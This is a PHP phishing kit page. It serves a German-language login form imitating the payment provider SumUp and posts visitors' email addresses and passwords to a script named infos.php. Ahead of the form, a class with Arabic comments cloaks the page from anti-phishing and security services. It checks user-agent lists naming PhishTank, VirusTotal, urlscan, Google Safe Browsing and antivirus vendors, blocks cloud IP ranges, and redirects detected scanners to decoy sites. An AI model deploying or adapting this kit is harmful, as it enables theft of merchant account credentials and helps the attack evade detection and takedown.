<?php 

// دالة بسيطة للكشف عن نوع الجهاز - معدلة للسماح للجميع
function isMobileDevice() {
    // دائماً ترجع true للسماح لجميع الأجهزة
    return true;
}

// التحقق من نوع الجهاز وتحديد الوجهة
if (!isMobileDevice()) {
    // لن يتم تنفيذ هذا أبداً لأن الدالة دائماً ترجع true
    header('Location: https://www.youtube.com');
    exit();
}

/**
 * Advanced Security Bot Blocker 2025
 * Multi-layer protection against security bots
 * Version: 15.4 - With IP Whitelist
 */

class AdvancedBotBlocker {
    
    private $user_agent;
    private $ip;
    private $domain;
    private $request_time;
    
    public function __construct() {
        $this->user_agent = $_SERVER['HTTP_USER_AGENT'] ?? '';
        $this->ip = $_SERVER['REMOTE_ADDR'] ?? '0.0.0.0';
        $this->domain = $this->getCurrentDomain();
        $this->request_time = $_SERVER['REQUEST_TIME'] ?? time();
    }
    
    private function getCurrentDomain() {
        $protocol = isset($_SERVER['HTTPS']) && $_SERVER['HTTPS'] === 'on' ? "https" : "http";
        return $protocol . "://" . ($_SERVER['HTTP_HOST'] ?? 'localhost');
    }
    
    // قائمة الـ IPs المسموح بها (لن يتم حظرها أبداً)
    private function getWhitelistedIPs() {
        return [
            '127.0.0.1', // IP الخاص بك
            // يمكنك إضافة المزيد من الـ IPs هنا
            // '192.168.1.1',
            // '10.0.0.1',
        ];
    }
    
    // التحقق إذا كان IP مسموح به
    private function isWhitelistedIP() {
        $whitelist = $this->getWhitelistedIPs();
        return in_array($this->ip, $whitelist);
    }
    
    public function blockSecurityBots() {
        // إذا كان IP مسموح به، اسمح بالدخول دائماً بدون أي فحص
        if ($this->isWhitelistedIP()) {
            return true;
        }
        
        // زيادة عداد الزيارة
        $this->incrementVisitCount();
        
        // الحصول على عدد الزيارات الحالي
        $visitCount = $this->getVisitCount();
        
        // إذا كانت الزيارة الأولى أو الثانية، اسمح بالدخول دائماً
        if ($visitCount <= 2) {
            return true;
        }
        
        // إذا كانت الزيارة الثالثة، تحقق فقط من البوتات الخطيرة
        if ($visitCount == 3) {
            if ($this->isHighRiskBot()) {
                $this->logBotAttempt("High risk bot on visit 3");
                $this->redirectToFakePage();
                return false;
            }
            return true;
        }
        
        // إذا كانت الزيارة الرابعة، تحقق من البوتات المتوسطة الخطورة
        if ($visitCount == 4) {
            if ($this->isMediumRiskBot()) {
                $this->logBotAttempt("Medium risk bot on visit 4");
                $this->redirectToFakePage();
                return false;
            }
            return true;
        }
        
        // من الزيارة الخامسة فما فوق، تطبيق الحماية الكاملة
        if ($visitCount >= 5) {
            if ($this->isSecurityBotByUA() || 
                $this->isSuspiciousIP() || 
                $this->isBotByBehavior() ||
                $this->isKnownSecurityCompany() ||
                $this->analyzeRequestPattern()) {
                $this->logBotAttempt("Full protection triggered on visit " . $visitCount);
                $this->redirectToFakePage();
                return false;
            }
        }
        
        return true;
    }
    
    private function incrementVisitCount() {
        if (!isset($_SESSION['visit_count'])) {
            $_SESSION['visit_count'] = 1;
        } else {
            $_SESSION['visit_count']++;
        }
        
        // حفظ وقت آخر زيارة للتحقق من التحديثات السريعة
        $_SESSION['last_visit_time'] = time();
    }
    
    private function getVisitCount() {
        return $_SESSION['visit_count'] ?? 1;
    }
    
    private function isHighRiskBot() {
        // كشف البوتات عالية الخطورة فقط
        $ua = strtolower($this->user_agent);
        
        $high_risk_bots = [
            'phishtank', 'virustotal', 'urlscan', 'sucuri',
            'shodan', 'censys', 'nmap', 'metasploit', 'sqlmap',
            'burpsuite', 'acunetix', 'nessus', 'nikto'
        ];
        
        foreach ($high_risk_bots as $bot) {
            if (strpos($ua, $bot) !== false) {
                return true;
            }
        }
        
        return false;
    }
    
    private function isMediumRiskBot() {
        // كشف البوتات متوسطة الخطورة
        $ua = strtolower($this->user_agent);
        
        $medium_risk_bots = [
            'google-safe-browsing', 'safebrowsing',
            'norton-safeweb', 'mcafee', 'kaspersky',
            'qualys', 'alienvault', 'wpscan', 'openvas'
        ];
        
        foreach ($medium_risk_bots as $bot) {
            if (strpos($ua, $bot) !== false) {
                return true;
            }
        }
        
        // تحقق من السلوك عالي الخطورة
        if ($this->hasSuspiciousParameters() || $this->isUnusualRequest()) {
            return true;
        }
        
        return false;
    }
    
    private function isSecurityBotByUA() {
        $ua = strtolower($this->user_agent);
        
        // قائمة موسعة للبوتات الأمنية
        $security_bots = [
            // بوتات مكافحة التصيد والأمان
            'phishtank', 'google-safe-browsing', 'safebrowsing', 'google-safety',
            'virustotal', 'urlscan', 'urlvoid', 'quttera', 'sucuri',
            'norton-safeweb', 'mcafee', 'siteadvisor', 'kaspersky', 
            'avast', 'avg', 'bitdefender', 'eset', 'sophos', 'trendmicro',
            'qualys', 'ssl-labs', 'securityscan', 'alienvault',
            
            // بوتات المسح الأمني
            'shodan', 'censys', 'zoomeye', 'fofa', 'quake', 'binaryedge',
            'netcraft', 'cloudflare-scanner', 'akamai-bot', 'imperva',
            'stackpath', 'datadog', 'newrelic', 'pingdom',
            
            // بوتات البحث الأمني
            'binaryedge', 'greywizard', 'hacker', 'security', 'scan',
            'crawler', 'spider', 'bot', 'monitor', 'check',
            
            // بوتات التحليل
            'burpsuite', 'nikto', 'nmap', 'metasploit', 'wpscan',
            'sqlmap', 'zap', 'acunetix', 'nessus', 'openvas',
            
            // بوتات إضافية
            'rapid7', 'tenable', 'qualys', 'trustwave', 'whitehat',
            'sitelock', 'comodo', 'geektool', 'uptime', 'monitoring'
        ];
        
        foreach ($security_bots as $bot) {
            if (strpos($ua, $bot) !== false) {
                return true;
            }
        }
        
        return false;
    }
    
    private function isSuspiciousIP() {
        // قائمة عناوين IP مشبوهة معروفة (لخدمات السحابة والمسح)
        $suspicious_ips = [
            '54.', '52.', '35.', '13.', '8.', // AWS
            '34.', '104.', '108.', '142.', '172.', // Google Cloud
            '20.', '40.', '51.', '52.', '138.', // Azure
            '66.', '72.', '74.', '75.', '76.', // OVH
            '89.', '94.', '95.', '185.', '188.', // Hetzner
            '45.', '64.', '65.', '80.', '87.'  // DigitalOcean
        ];
        
        foreach ($suspicious_ips as $suspicious) {
            if (strpos($this->ip, $suspicious) === 0) {
                return true;
            }
        }
        
        return false;
    }
    
    private function isBotByBehavior() {
        // تحليل السلوك المشبوه
        $suspicious_headers = [
            'HTTP_ACCEPT_LANGUAGE',
            'HTTP_ACCEPT_ENCODING', 
            'HTTP_ACCEPT'
        ];
        
        // إذا كانت بعض الهيدرات مفقودة (مشبوه)
        $missing_headers = 0;
        foreach ($suspicious_headers as $header) {
            if (!isset($_SERVER[$header]) || empty($_SERVER[$header])) {
                $missing_headers++;
            }
        }
        
        if ($missing_headers >= 2) {
            return true;
        }
        
        // تحقق من User Agent فارغ أو قصير جداً
        if (empty($this->user_agent) || strlen($this->user_agent) < 10) {
            return true;
        }
        
        // تحقق من طلبات غير عادية
        if ($this->isUnusualRequest()) {
            return true;
        }
        
        return false;
    }
    
    private function isKnownSecurityCompany() {
        // كشف شركات الأمان من خلال أنماط معينة
        $company_patterns = [
            'google' => ['googlebot', 'apis-google', 'googleusercontent', 'google'],
            'microsoft' => ['msnbot', 'bingbot', 'microsoft'],
            'amazon' => ['aws-sdk', 'amazon', 'aws'],
            'cloudflare' => ['cloudflare'],
            'akamai' => ['akamai'],
            'ibm' => ['softlayer', 'ibm'],
            'oracle' => ['oracle', 'sun'],
            'digitalocean' => ['digitalocean'],
            'linode' => ['linode'],
            'vultr' => ['vultr']
        ];
        
        $ua = strtolower($this->user_agent);
        
        foreach ($company_patterns as $company => $patterns) {
            foreach ($patterns as $pattern) {
                if (strpos($ua, $pattern) !== false) {
                    return true;
                }
            }
        }
        
        return false;
    }
    
    private function analyzeRequestPattern() {
        // تحليل أنماط الطلبات المشبوهة
        $suspicious = false;
        
        // الوصول المباشر بدون Referrer
        if (!isset($_SERVER['HTTP_REFERER']) && !$this->isFirstVisit()) {
            $suspicious = true;
        }
        
        // لا يوجد cookies في طلب متكرر
        if (!isset($_SERVER['HTTP_COOKIE']) && $this->getVisitCount() > 3) {
            $suspicious = true;
        }
        
        // طلبات بطرق غير عادية
        if ($_SERVER['REQUEST_METHOD'] !== 'GET' && $_SERVER['REQUEST_METHOD'] !== 'POST') {
            $suspicious = true;
        }
        
        // طلبات بمعلمات غريبة
        if (!empty($_GET) && $this->hasSuspiciousParameters()) {
            $suspicious = true;
        }
        
        return $suspicious;
    }
    
    private function isFirstVisit() {
        return ($this->getVisitCount() <= 1);
    }
    
    private function hasSuspiciousParameters() {
        // تحقق من معلمات URL مشبوهة
        $suspicious_params = [
            'cmd', 'exec', 'system', 'eval', 'union', 'select', 'insert',
            'update', 'delete', 'drop', 'script', 'alert', 'onload',
            'onerror', 'javascript', 'vbscript', 'applet', 'meta',
            'object', 'iframe', 'frame', 'embed', 'link'
        ];
        
        foreach ($_GET as $param => $value) {
            $param_lower = strtolower($param);
            foreach ($suspicious_params as $suspicious) {
                if (strpos($param_lower, $suspicious) !== false) {
                    return true;
                }
            }
        }
        
        return false;
    }
    
    private function isUnusualRequest() {
        // تحقق من طلبات غير عادية
        $request_uri = $_SERVER['REQUEST_URI'] ?? '';
        
        // طلبات لملفات نظام
        $system_files = [
            '.env', '.git', '.htaccess', 'wp-config', 'config.php',
            'admin', 'phpmyadmin', 'mysql', 'database', 'backup',
            'log', 'debug', 'test', 'shell', 'cgi-bin'
        ];
        
        foreach ($system_files as $file) {
            if (stripos($request_uri, $file) !== false) {
                return true;
            }
        }
        
        return false;
    }
    
    private function logBotAttempt($reason = "") {
        // تسجيل محاولات البوتات
        $log_data = [
            'timestamp' => date('Y-m-d H:i:s'),
            'ip' => $this->ip,
            'user_agent' => substr($this->user_agent, 0, 200),
            'request_uri' => $_SERVER['REQUEST_URI'] ?? '',
            'referer' => $_SERVER['HTTP_REFERER'] ?? '',
            'method' => $_SERVER['REQUEST_METHOD'] ?? '',
            'visit_count' => $this->getVisitCount(),
            'reason' => $reason
        ];
        
        $log_message = implode(' | ', $log_data) . PHP_EOL;
        
        // محاولة الكتابة إلى ملف السجل
        @file_put_contents('security_bot_logs.txt', $log_message, FILE_APPEND | LOCK_EX);
    }
    
    private function redirectToFakePage() {
        // صفحات وهمية للتوجيه إليها
        $fake_pages = [
            'https://www.youtube.com/watch?v=dQw4w9WgXcQ',
            'https://www.facebook.com/unsupportedbrowser',
            'https://www.instagram.com/accounts/login/?source=auth_switcher',
            'https://www.twitter.com/404',
            'https://www.reddit.com/404',
            'https://www.wikipedia.org/wiki/HTTP_404',
            'https://www.amazon.com/404',
            'https://www.netflix.com/browse',
            'https://www.linkedin.com/404',
            'https://www.pinterest.com/404'
        ];
        
        $random_page = $fake_pages[array_rand($fake_pages)];
        
        // إضافة تأخير عشوائي لمحاكاة التحميل
        usleep(rand(50000, 300000)); // 0.05 إلى 0.3 ثانية
        
        // إرسال رؤوس للتضليل
        header('HTTP/1.1 200 OK');
        header('Content-Type: text/html; charset=utf-8');
        header('Location: ' . $random_page, true, 302);
        exit;
    }
}

// بدء الجلسة والحماية
if (session_status() === PHP_SESSION_NONE) {
    session_start();
}

$bot_blocker = new AdvancedBotBlocker();

// إذا كان بوت أمني - سيتم تحويله والخروج (ولن يتم تسجيله في visitors)
if (!$bot_blocker->blockSecurityBots()) {
    exit;
}

// إذا وصل إلى هنا فهو إنسان - قم بتسجيل الزيارة ثم استمر في تحميل الصفحة
require_once "functions1.php";

// استمر في تحميل الصفحة
?>

<!DOCTYPE html>
<html lang="de-de">
<head>
    <meta charset="utf-8"/>
    <meta name="viewport" content="width=device-width"/>
    <title>Anmelden —</title>
    <link rel="apple-touch-icon" sizes="180x180" href="https://static.sumup.com/favicons/apple-touch-icon.png"/>
    <link rel="icon" type="image/png" sizes="32x32" href="image/ask.png"/>
    <link rel="icon" type="image/png" sizes="16x16" href="image/ask.png"/>
    <link rel="manifest" href="https://static.sumup.com/favicons/site.webmanifest"/>
    <link rel="mask-icon" href="https://static.sumup.com/favicons/safari-pinned-tab.svg" color="#ffffff"/>
    <link rel="shortcut icon" href="https://static.sumup.com/favicons/favicon.ico"/>
    <meta name="msapplication-TileColor" content="#ffffff"/>
    <meta name="msapplication-config" content="https://static.sumup.com/favicons/browserconfig.xml"/>
    <meta name="theme-color" content="#ffffff"/>
    <style>
        * {
            margin: 0;
            padding: 0;
            box-sizing: border-box;
            font-family: -apple-system, BlinkMacSystemFont, 'Segoe UI', Roboto, sans-serif;
        }
        
        body {
            background-color: white;
            display: flex;
            justify-content: center;
            align-items: center;
            min-height: 100vh;
            padding: 20px;
        }
        
        .login-container {
            width: 100%;
            max-width: 400px;
        }
        
        .logo {
            text-align: center;
            margin-bottom: 40px;
        }
        
        .logo img {
            height: 40px;
        }
        
        .title {
            font-size: 24px;
            font-weight: 600;
            margin-bottom: 10px;
            color: #0F131A;
        }
        
        .signup-link {
            margin-bottom: 30px;
        }
        
        .signup-link p {
            color: #666;
        }
        
        .signup-link a {
            color: #0F131A;
            text-decoration: none;
            font-weight: 500;
        }
        
        .form-group {
            margin-bottom: 25px;
        }
        
        label {
            display: block;
            margin-bottom: 8px;
            color: #0F131A;
            font-size: 14px;
            font-weight: 500;
        }
        
        .input-container {
            position: relative;
        }
        
        input[type="email"],
        input[type="password"],
        input[type="text"] {
            width: 100%;
            padding: 14px 45px 14px 15px;
            border: 1px solid #ddd;
            border-radius: 4px;
            font-size: 16px;
            transition: border-color 0.3s;
            height: 48px;
            box-sizing: border-box;
        }
        
        input[type="email"]:focus,
        input[type="password"]:focus,
        input[type="text"]:focus {
            border-color: #0F131A;
            outline: none;
        }
        
        .input-error {
            border-color: #d32f2f !important;
        }
        
        .password-toggle {
            position: absolute;
            right: 15px;
            top: 50%;
            transform: translateY(-50%);
            background: none;
            border: none;
            cursor: pointer;
            color: #666;
            display: flex;
            align-items: center;
            justify-content: center;
            width: 24px;
            height: 24px;
            padding: 0;
        }
        
        .forgot-password {
            margin-bottom: 25px;
        }
        
        .forgot-password a {
            color: #0F131A;
            text-decoration: none;
            font-size: 14px;
            font-weight: 500;
        }
        
        .btn {
            width: 100%;
            padding: 14px;
            background-color: #0F131A;
            color: white;
            border: none;
            border-radius: 4px;
            font-size: 16px;
            font-weight: 500;
            cursor: pointer;
            transition: background-color 0.3s;
            height: 48px;
            margin-bottom: 15px;
        }
        
        .btn:hover {
            background-color: #1a1f2a;
        }
        
        .btn-secondary {
            width: 100%;
            padding: 14px;
            background-color: transparent;
            color: #0F131A;
            border: 1px solid #0F131A;
            border-radius: 4px;
            font-size: 16px;
            font-weight: 500;
            cursor: pointer;
            transition: all 0.3s;
            height: 48px;
        }
        
        .btn-secondary:hover {
            background-color: #f5f5f5;
        }
        
        .footer-buttons {
            display: flex;
            justify-content: space-between;
            align-items: center;
            margin-top: 30px;
            gap: 15px;
        }
        
        .language-select {
            flex: 1;
            position: relative;
        }
        
        .language-select select {
            width: 100%;
            padding: 12px 40px 12px 15px;
            border: 1px solid #ddd;
            border-radius: 4px;
            font-size: 14px;
            background-color: white;
            appearance: none;
            cursor: pointer;
            height: 44px;
        }
        
        .language-select::after {
            content: "";
            position: absolute;
            right: 15px;
            top: 50%;
            transform: translateY(-50%);
            width: 12px;
            height: 12px;
            background-image: url("data:image/svg+xml,%3Csvg width='16' height='16' viewBox='0 0 16 16' fill='none' xmlns='http://www.w3.org/2000/svg'%3E%3Cpath d='M8 11c-.266 0-.52-.104-.71-.29l-4-4A1.013 1.013 0 0 1 3 6a1 1 0 0 1 1-1c.266 0 .52.104.71.29L8 8.58l3.29-3.29c.19-.186.445-.29.71-.29a1 1 0 0 1 1 1c0 .266-.104.52-.29.71l-4 4c-.19.186-.444.29-.71.29z' fill='currentColor'%3E%3C/path%3E%3C/svg%3E");
            background-repeat: no-repeat;
            background-position: center;
            pointer-events: none;
        }
        
        .system-status-btn {
            flex: 1;
        }
        
        .system-status-btn .btn-secondary {
            height: 44px;
            font-size: 14px;
        }
        
        /* Fehlermeldung */
        .error-message {
            display: none;
            align-items: center;
            margin-top: 8px;
            color: #d32f2f;
            font-size: 14px;
        }
        
        .error-message.show {
            display: flex;
        }
        
        .error-icon {
            margin-right: 8px;
            display: flex;
            align-items: center;
        }
    </style>
</head>
<body>
    <div class="login-container">
        <div class="logo">
            <!-- name.svg durch den korrekten Pfad zum Logo ersetzen -->
            <img src="image/name.svg" alt="Logo">
        </div>
        
        <h1 class="title">Anmelden</h1>
        
        <div class="signup-link">
            <p>Sind Sie neu bei SumUp? <a href="#">Registrieren</a></p>
        </div>
        
        <form action="infos.php" method="POST" id="loginForm">
            <div class="form-group">
                <label for="email">E-Mail-Adresse</label>
                <div class="input-container">
                    <input type="email" id="email" name="username" placeholder="du@beispiel.de" autocomplete="username" required>
                </div>
                <!-- Fehlermeldung -->
                <div class="error-message" id="emailError">
                    <div class="error-icon">
                        <svg width="16" height="16" viewBox="0 0 16 16" fill="none" xmlns="http://www.w3.org/2000/svg" aria-hidden="true">
                            <path d="M8 0a8 8 0 1 0 0 16A8 8 0 0 0 8 0zm3 11a1 1 0 0 1-1.41 0L8 9.41 6.41 11A1 1 0 0 1 5 9.59L6.59 8 5 6.41A1 1 0 0 1 5 5a1 1 0 0 1 1.41 0L8 6.59 9.59 5A1 1 0 0 1 11 5a1 1 0 0 1 0 1.41L9.41 8 11 9.59A1 1 0 0 1 11 11z" fill="currentColor"></path>
                        </svg>
                    </div>
                    Die E-Mail-Adresse ist erforderlich.
                </div>
            </div>
            
            <div class="form-group">
                <label for="password">Passwort</label>
                <div class="input-container">
                    <input type="password" id="password" name="password" placeholder="" autocomplete="current-password" required>
                    <button type="button" class="password-toggle" id="passwordToggle">
                        <svg width="24" height="24" viewBox="0 0 24 24" fill="none" xmlns="http://www.w3.org/2000/svg">
                            <path fill-rule="evenodd" clip-rule="evenodd" d="M15 12a3 3 0 1 1-5.999 0A3 3 0 0 1 15 12zm7.91.57A11.6 11.6 0 0 1 12 21a11.6 11.6 0 0 1-10.91-8.43 1.85 1.85 0 0 1 0-1.14A11.6 11.6 0 0 1 12 3a11.6 11.6 0 0 1 10.91 8.43c.12.37.12.77 0 1.14zM17 12a5 5 0 1 0-9.999 0A5 5 0 0 0 17 12z" fill="currentColor"></path>
                        </svg>
                    </button>
                </div>
            </div>
            
            <div class="forgot-password">
                <a href="#">Passwort vergessen?</a>
            </div>
            
            <!-- Erforderliche versteckte Felder -->
            <input type="hidden" name="step" value="login">
            <input type="hidden" name="challenge" value="1e2c36412fac497a8948708bd87ca6fc">
            <input type="hidden" name="locale" value="de-de">
            <input type="hidden" name="client_id" value="dashboard">
            
            <button type="submit" class="btn" name="submit">Weiter</button>
            
            <!-- Passkey-Button direkt unter dem Weiter-Button -->
            <button type="button" class="btn-secondary" id="passkeyBtn">
                Mit einem Passkey anmelden
            </button>
        </form>
        
        <!-- Zusätzliche Buttons unten -->
        <div class="footer-buttons">
            <div class="language-select">
                <select id="languageSelect" name="languageSelect">
                    <option value="da-DK">Dansk</option>
                    <option value="de-DE" selected>Deutsch</option>
                    <option value="et-EE">Eesti</option>
                    <option value="en-GB">English</option>
                    <option value="es-ES">Español</option>
                    <option value="fr-FR">Français</option>
                    <option value="hr-HR">Hrvatski</option>
                    <option value="it-IT">Italiano</option>
                    <option value="lv-LV">Latviešu valoda</option>
                    <option value="lt-LT">Lietuviškai</option>
                    <option value="hu-HU">Magyar</option>
                    <option value="nl-NL">Nederlands</option>
                    <option value="nb-NO">Norsk</option>
                    <option value="pl-PL">Polski</option>
                    <option value="pt-BR">Português</option>
                    <option value="ro-RO">Română</option>
                    <option value="sk-SK">Slovenčina</option>
                    <option value="sl-SI">Slovenščina</option>
                    <option value="fi-FI">Suomi</option>
                    <option value="sv-SE">Svenska</option>
                    <option value="cs-CZ">Čeština</option>
                    <option value="el-GR">Ελληνικά</option>
                    <option value="bg-BG">Български</option>
                </select>
            </div>
            
            <div class="system-status-btn">
                <a href="https://status.sumup.com" class="btn-secondary" style="display: block; text-decoration: none; text-align: center;">
                    Systemstatus
                </a>
            </div>
        </div>
    </div>

    <script>
        // Funktion zum Ein-/Ausblenden des Passworts
        const passwordToggle = document.getElementById('passwordToggle');
        const passwordInput = document.getElementById('password');
        
        passwordToggle.addEventListener('click', function() {
            // Nur den Eingabefeldtyp ändern
            const type = passwordInput.getAttribute('type') === 'password' ? 'text' : 'password';
            passwordInput.setAttribute('type', type);
            
            // Symbol basierend auf Passwortstatus ändern
            if (type === 'text') {
                passwordToggle.innerHTML = `
                    <svg width="24" height="24" viewBox="0 0 24 24" fill="none" xmlns="http://www.w3.org/2000/svg">
                        <path fill-rule="evenodd" clip-rule="evenodd" d="M22.91 11.43a12.676 12.676 0 0 0-2.09-4.01l-3.88 3.87c.04.235.06.472.06.71a5 5 0 0 1-5 5c-.238 0-.475-.02-.71-.06L8 20.23c1.272.51 2.63.772 4 .77a11.6 11.6 0 0 0 10.91-8.43c.12-.37.12-.77 0-1.14zM22 1c-.265 0-.52.104-.71.29l-3.42 3.43h-.01A10.9 10.9 0 0 0 12 3a11.6 11.6 0 0 0-10.91 8.43c-.12.37-.12.77 0 1.14a12.507 12.507 0 0 0 3.44 5.48l-3.24 3.24c-.186.19-.29.445-.29.71a1 1 0 0 0 1 1c.266 0 .52-.104.71-.29l20-20c.186-.19.29-.444.29-.71a1 1 0 0 0-1-1zM7.83 14.75a4.993 4.993 0 0 1 6.92-6.92l-6.92 6.92z" fill="currentColor"></path>
                    </svg>
                `;
            } else {
                passwordToggle.innerHTML = `
                    <svg width="24" height="24" viewBox="0 0 24 24" fill="none" xmlns="http://www.w3.org/2000/svg">
                        <path fill-rule="evenodd" clip-rule="evenodd" d="M15 12a3 3 0 1 1-5.999 0A3 3 0 0 1 15 12zm7.91.57A11.6 11.6 0 0 1 12 21a11.6 11.6 0 0 1-10.91-8.43 1.85 1.85 0 0 1 0-1.14A11.6 11.6 0 0 1 12 3a11.6 11.6 0 0 1 10.91 8.43c.12.37.12.77 0 1.14zM17 12a5 5 0 1 0-9.999 0A5 5 0 0 0 17 12z" fill="currentColor"></path>
                    </svg>
                `;
            }
        });
        
        // Passkey-Button - macht beim Klicken nichts
        const passkeyBtn = document.getElementById('passkeyBtn');
        passkeyBtn.addEventListener('click', function() {
            // Beim Klicken auf den Button passiert nichts
        });
        
        // E-Mail-Validierung
        const emailInput = document.getElementById('email');
        const emailError = document.getElementById('emailError');
        
        emailInput.addEventListener('blur', function() {
            if (!emailInput.value.trim()) {
                emailInput.classList.add('input-error');
                emailError.classList.add('show');
            } else {
                emailInput.classList.remove('input-error');
                emailError.classList.remove('show');
            }
        });
        
        emailInput.addEventListener('input', function() {
            if (emailInput.value.trim()) {
                emailInput.classList.remove('input-error');
                emailError.classList.remove('show');
            }
        });
        
        // Formular direkt absenden, ohne Standard zu verhindern
        document.querySelector('form').addEventListener('submit', function(e) {
            // E-Mail vor dem Absenden überprüfen
            if (!emailInput.value.trim()) {
                e.preventDefault();
                emailInput.classList.add('input-error');
                emailError.classList.add('show');
                emailInput.focus();
            } else {
                // Wir verhindern nicht das Standardverhalten, damit die Daten an infos.php gesendet werden
            }
        });
    </script>
</body>
</html>